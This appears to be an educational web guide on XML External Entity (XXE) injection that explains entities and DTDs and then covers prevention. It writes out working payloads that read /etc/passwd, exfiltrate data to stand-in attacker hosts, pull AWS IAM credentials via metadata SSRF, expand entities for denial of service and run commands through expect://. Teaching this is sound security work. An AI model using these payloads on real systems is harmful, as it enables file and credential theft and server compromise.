appsec.fyi

XXE — A Practical Guide

A curated AppSec resource library covering XSS, SQLi, SSRF, IDOR, RCE, XXE, OSINT, and more.

XXE: A Practical Guide

Curated and synthesized by . Last updated 2026-07-01. Synthesized from 87 of 87 curated resources. Browse all 87 XXE resources →

The Ubiquitous XML Entity: Understanding XXE

XML External Entity (XXE) injection is a fundamental application security vulnerability that persists due to the inherent design of XML and the common misconfigurations of XML parsers. At its core, XXE allows an attacker to exploit how an application processes XML input by manipulating external entity declarations within that input. This manipulation can lead to a range of severe impacts, from sensitive data disclosure to remote code execution.

Despite being a known vulnerability for over a decade and a consistent fixture on the OWASP Top 10 list, XXE continues to affect a wide array of applications and systems. This resilience in the threat landscape is largely due to the widespread use of XML in various technologies and the often-overlooked security implications of XML parsers, which frequently have dangerous features enabled by default. Understanding the mechanics and diverse exploitation vectors of XXE is critical for any application security professional.

Core Mechanics of XXE

XML (eXtensible Markup Language) is a flexible markup language used for structuring and transporting data. A key feature of XML is the ability to define entities, which act as placeholders for data. These entities can be internal, holding a simple string, or external, referencing content from local files or remote URLs via a system identifier.

An XXE vulnerability arises when an application's XML parser is configured to process external entities from untrusted XML input. The XML specification defines how parsers should dereference these external entities, replacing the entity reference with the content fetched from the specified URI. When an attacker controls this URI or the entity declaration, they can abuse this mechanism to access resources that should be protected.

Document Type Definitions (DTDs) and Entities

The primary mechanism for defining external entities is through a Document Type Definition (DTD). A DTD can be declared inline within the XML document using the <!DOCTYPE> declaration or referenced from an external file. Entities within a DTD can be declared using the <!ENTITY> tag. For external entities, the SYSTEM keyword is used, followed by a URI pointing to the resource.

Consider a basic XXE payload for reading the /etc/passwd file:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <data>&xxe;</data>

When a vulnerable XML parser processes this, it resolves the &xxe; entity by fetching the content of file:///etc/passwd. If the application reflects this parsed content back to the user, the attacker gains direct access to the file's contents [1][2][3][4].

Parameter Entities

XML also supports parameter entities, which are declared with a percent sign (%) and are intended for use within the DTD itself. These can be crucial for chaining XXE attacks or bypassing certain parser restrictions that might block direct general entity declarations [5][6][7]. A common use case is referencing external DTDs or constructing complex payloads.

<!DOCTYPE foo [

<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe; ]> <data>&xxe;</data>

This payload instructs the parser to fetch and process an external DTD from the attacker's server, which can then contain further malicious entity definitions [8][7].

Notable XXE Techniques

XXE vulnerabilities offer a versatile attack surface, enabling various exploitation techniques beyond simple file disclosure.

In-Band XXE (File Disclosure)

This is the most straightforward form of XXE, where the parsed content of a file or resource is directly embedded into the application's response. This provides immediate feedback to the attacker, confirming the vulnerability and exfiltrating data in one go [2][4].

The payload structure typically involves defining an entity that references a local file (e.g., file:///etc/passwd, file:///c:/windows/win.ini) and then referencing that entity within an XML element that is reflected in the response [9][10][11][12][13][14].

Out-of-Band (OOB) XXE

When direct reflection of data in the response is not possible (e.g., due to input validation or non-reflective APIs), OOB techniques are employed. The attacker crafts a payload that forces the vulnerable server to make an outbound network request to a server controlled by the attacker [5][8][15][6][7][16].

This typically involves defining an external entity pointing to an attacker-controlled URL:

<!DOCTYPE foo [

<!ENTITY xxe SYSTEM "http://attacker-server.com/exploit?data=..."> ]> <data>&xxe;</data>

The attacker monitors their server for incoming requests (DNS lookups or HTTP requests) to confirm the vulnerability and potentially exfiltrate data by embedding it in the request URL or using techniques like Base64 encoding for larger payloads [5][8][7]. PHP filters, such as php://filter/convert.base64-encode/resource=/etc/passwd, are invaluable here to encode data that might contain problematic characters for URLs [11][17][13].

Blind XXE

Blind XXE is a variation where the application is vulnerable, but neither direct reflection nor clear OOB callbacks are observed. Attackers infer vulnerabilities through indirect means, such as timing differences, application error messages, or subtle side effects [5][8][6][7].

Error-Based Blind XXE: This technique leverages verbose error messages that might leak information. By referencing a non-existent resource constructed with sensitive data, the error message can reveal the data [6][18][7][19]. For instance, attempting to access a file like file:///nonexistent/%file; within an error-handling context can include the file's content in the error path [6][18][7].

Local DTD Exploitation: When external DTD fetching is blocked, attackers might look for existing local DTDs on the server that can be repurposed. By injecting a payload that redefines an entity within a locally accessible DTD, attackers can achieve similar exfiltration results, often via error messages [20][21][19].

Server-Side Request Forgery (SSRF) via XXE

XXE is a potent vector for SSRF. By referencing internal network resources or cloud metadata endpoints (like AWS EC2 instance metadata at http://169.254.169.254/), attackers can probe internal networks, access sensitive credentials, or interact with internal services without direct exposure [22][1][20][23][24][4].

A payload targeting AWS metadata might look like:

<!DOCTYPE foo [

<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> ]> <data>&xxe;</data>

This can reveal IAM roles and credentials, enabling further compromise [1][20][24].

Denial of Service (DoS) via Entity Expansion

The "Billion Laughs" attack is a classic DoS technique that exploits XML's recursive entity expansion. By crafting deeply nested entities, a small XML payload can consume vast amounts of server memory, leading to a denial of service [1][2][23][13].

<!DOCTYPE root [

<!ENTITY e "e"> <!ENTITY e1 "&e;&e;&e;&e;&e;&e;&e;&e;&e;"> <!ENTITY e2 "&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;"> ... ]> <root>&eN;</root>

While often mitigated in modern parsers, understanding this principle is key to recognizing potential DoS vectors.

Remote Code Execution (RCE)

While less common, XXE can lead to RCE when combined with specific application features or language extensions. For example, on PHP applications with the expect module enabled, the expect:// stream wrapper can be used to execute arbitrary system commands via XXE [11][17][25][13][14][4].

A payload to execute the id command:

<!DOCTYPE foo [

<!ENTITY rce SYSTEM "expect://id"> ]> <data>&rce;</data>

This capability significantly elevates the impact of an XXE vulnerability, allowing direct system compromise.

XXE via File Uploads

Many applications allow file uploads (e.g., images, documents). If these files are processed or parsed server-side and can contain XML, they become potential XXE attack vectors. Formats like SVG, DOCX, XLSX, and others often contain XML components [26][27][28][29][30][31][32].

By crafting a malicious SVG file with an XXE payload, an attacker can leverage the image processing pipeline to trigger the vulnerability [20][13][33]. Similarly, manipulating the XML within DOCX or XLSX files before upload can achieve the same outcome [26][27][29][30][31].

Detection and Prevention

The most effective defense against XXE vulnerabilities is to disable features within the XML parser that are not strictly necessary. Proactive configuration is paramount.

Secure XML Parser Configuration

The primary recommendation is to disable the processing of DTDs and external entities entirely. Most modern XML parsers offer features to achieve this.

Never parse untrusted XML with default parser settings [3][34]. Always explicitly configure parsers to disallow dangerous features.

Input Validation and Sanitization

While not a primary defense against XXE, robust input validation can help by detecting and removing suspicious XML constructs (like <!DOCTYPE declarations or entity references) before they reach the parser. However, this can be complex and prone to bypasses, making parser configuration the more reliable approach [1][8][2][34].

Web Application Firewalls (WAFs)

WAFs can be configured with custom rules to detect and block common XXE patterns. However, WAFs are often signature-based and can be bypassed by sophisticated attackers through encoding or obfuscation techniques. They serve as a valuable layer of defense but should not be the sole mitigation strategy [23].

Dependency Management

Keep XML processing libraries and frameworks updated. Older versions may have known vulnerabilities or less secure default configurations [35][1][28][29].

Detection Strategies

Tooling for XXE Exploitation and Detection

A variety of tools can assist in identifying, exploiting, and detecting XXE vulnerabilities.

Recent Developments and Trends

XXE vulnerabilities continue to be discovered in prominent software and platforms, demonstrating their ongoing relevance. Recent advisories highlight XXE in various components:

The recurring nature of these findings, even in mature products, underscores the persistent challenge of securely configuring XML parsers and highlights the importance of continuous security assessments and dependency updates.

Where to Go Deeper

For those seeking to expand their knowledge on XXE, several resources offer in-depth understanding and practical experience:

By leveraging these resources, practitioners can gain a comprehensive understanding of XXE, from its foundational principles to advanced exploitation methods and effective mitigation strategies.

Sources cited in this guide

  1. XXE Vulnerability Guide 2025: How XML Attacks Still Threaten — instatunnel.my
  2. XML External Entity - GeeksforGeeks — geeksforgeeks.org
  3. XML External Entity (XXE) Processing | OWASP — owasp.org
  4. https://portswigger.net/web-security/xxe — portswigger.net
  5. Blind XXE Attacks: Out of Band Interaction Techniques to Exfiltrate Data — shreyapohekar.com
  6. Exploiting Blind XXE: Data Exfiltration Through External DTD — medium.com
  7. What is a Blind XXE Attack? | PortSwigger — portswigger.net
  8. Out-of-Band XML External Entity (OOB XXE) — invicti.com
  9. CVE-2025-27136: LocalS3 CreateBucketConfiguration XXE Injection — offsec.com
  10. XXE Injection in langchain-community (CVE-2025-6984) — security.snyk.io
  11. Advanced XXE Exploitation: File Disclosure, Blind OOB, and RCE — github.com
  12. XML External Entities (XXE) | Pentesting Notes — notes.sfoffo.com
  13. XML External Entity (XXE) Attack Guide | Hackviser — hackviser.com
  14. https://gosecure.github.io/xxe-workshop/#0 — gosecure.github.io
  15. Out-of-Band XXE Attack with Sensitive Data Exfiltration — masterck.medium.com
  16. XXE - Things Are Getting Out of Band — blog.zsec.uk
  17. Advanced XXE Exploitation: File Disclosure, Blind OOB, and RCE — github.com
  18. Blind XXE Lab: Exfiltrate Data Using Malicious External DTD — portswigger.net
  19. From blind XXE to root-level file read access – Honoki — honoki.net
  20. PortSwigger XXE Injection Writeups — g4nd1v.github.io
  21. https://www.noob.ninja/2019/12/spilling-local-files-via-xxe-when-http.html — noob.ninja
  22. CVE-2025-30220: GeoServer WFS Service XML External Entity — miggo.io
  23. XXE Complete Guide: Impact, Examples, and Prevention — hackerone.com
  24. Exploiting XXE for SSRF. Retrieving IAM credentials of EC2… | by Gupta Bles — medium.com
  25. Comprehensive Guide to XXE Exploitation: Advanced Data Exfiltration and RCE — nullsecurityx.codes
  26. XXElixir: Tool for Testing XXE via XLSX File Upload Poisoning — github.com
  27. Exploiting XXE via File Uploads (SVG, XLSX, DOCX) — exploit-db.com
  28. XML External Entity: The Ultimate Bug Bounty Guide to XXE | YesWeHack — yeswehack.com
  29. 10 Types of Web Vulnerabilities that are Often Missed - Detectify Labs — labs.detectify.com
  30. GitHub - whitel1st/docem: A tool to embed XXE and XSS payloads in docx, odt, pptx, xlsx files (oxml_xxe on steroids) — github.com
  31. XXE attacks 😈 — link.medium.com
  32. BuffaloWill/oxml_xxe: A tool for embedding XXE/XML exploits into different — github.com
  33. h3xStream's blog: Identifying Xml eXternal Entity vulnerability (XXE) — blog.h3xstream.com
  34. XML External Entity Prevention · OWASP Cheat Sheet Series — cheatsheetseries.owasp.org
  35. Critical Apache Tika Vulnerability Leads to XXE Injection — securityweek.com
  36. Awesome Bug Bounty Tools — github.com
  37. https://www.hackingarticles.in/burp-suite-for-pentester-hackbar/ — hackingarticles.in
  38. Tool for automatic exploitation of XXE vulnerability using direct and diffe — github.com
  39. If you find powerful OXML XXE tool? it’s “DOCEM” — hahwul.com
  40. How to Protect Text Input from XML External Entity (XXE) Attacks using Pyth — cloudmersive.medium.com
  41. XXE-OOB-Exfiltrator: Multi-line Content Exfiltration via External DTD — github.com
  42. Exploiting Out-Of-Band XXE on Wildfire — dhiyaneshgeek.github.io
  43. XXE - Things Are Getting Out of Band — blog.zsec.uk
  44. Hunting in the Dark - Blind XXE — blog.zsec.uk
  45. CVE-2025-66516: Detecting and Defending Against Apache Tika XXE — akamai.com
  46. Critical Apache Tika CVE-2025-66516: XXE Vulnerability — rescana.com
  47. XXE in GeoServer WFS Service (CVE-2025-30220) — kudelskisecurity.com
  48. CVE-2025-54254: Adobe Experience Manager Forms XXE Vulnerability — sentinelone.com
  49. IBM Business Automation Workflow XXE (CVE-2025-13096) — ibm.com
  50. CVE-2025-49493: XXE in Akamai CloudTest — xbow.com
  51. Rapid7 Analysis: CVE-2022-28219 — rapid7.com
  52. CVE-2025-11035: Jinher OA XXE Vulnerability — sentinelone.com
  53. 11.2 Lab: Exploiting XXE to perform SSRF attacks | 2023 — cyberw1ng.medium.com
  54. Cracked it! Highlights from KringleCon 5: Golden Rings — welivesecurity.com
  55. Pre-auth XXE → HTTP SSRF on ArubaOS 8.13.2 closed as "theoretical / no valid PoC" despite TCP pcap, sshd localhost log, and internal port scan — documenting for community review — netacoding.com
  56. XXE Injection: Advanced Exploitation Guide — intigriti.com
  57. Exploiting The Entity: XXE (XML External Entity Injection) - Pentestmag — pentestmag.com
  58. Advice From A Researcher: Hunting XXE For Fun and Profit — blog.bugcrowd.com
  59. Top HackerOne XXE Reports — github.com
  60. How to Find XXE Bugs: Severe, Missed, and Misunderstood — bugcrowd.com
  61. Top 25 XXE Bug Bounty Reports — corneacristian.medium.com
  62. Advice From A Researcher: Hunting XXE For Fun and Profit — blog.bugcrowd.com
📚 This guide is synthesized from the full text of resources curated in the XXE library, and refreshed as new material is added.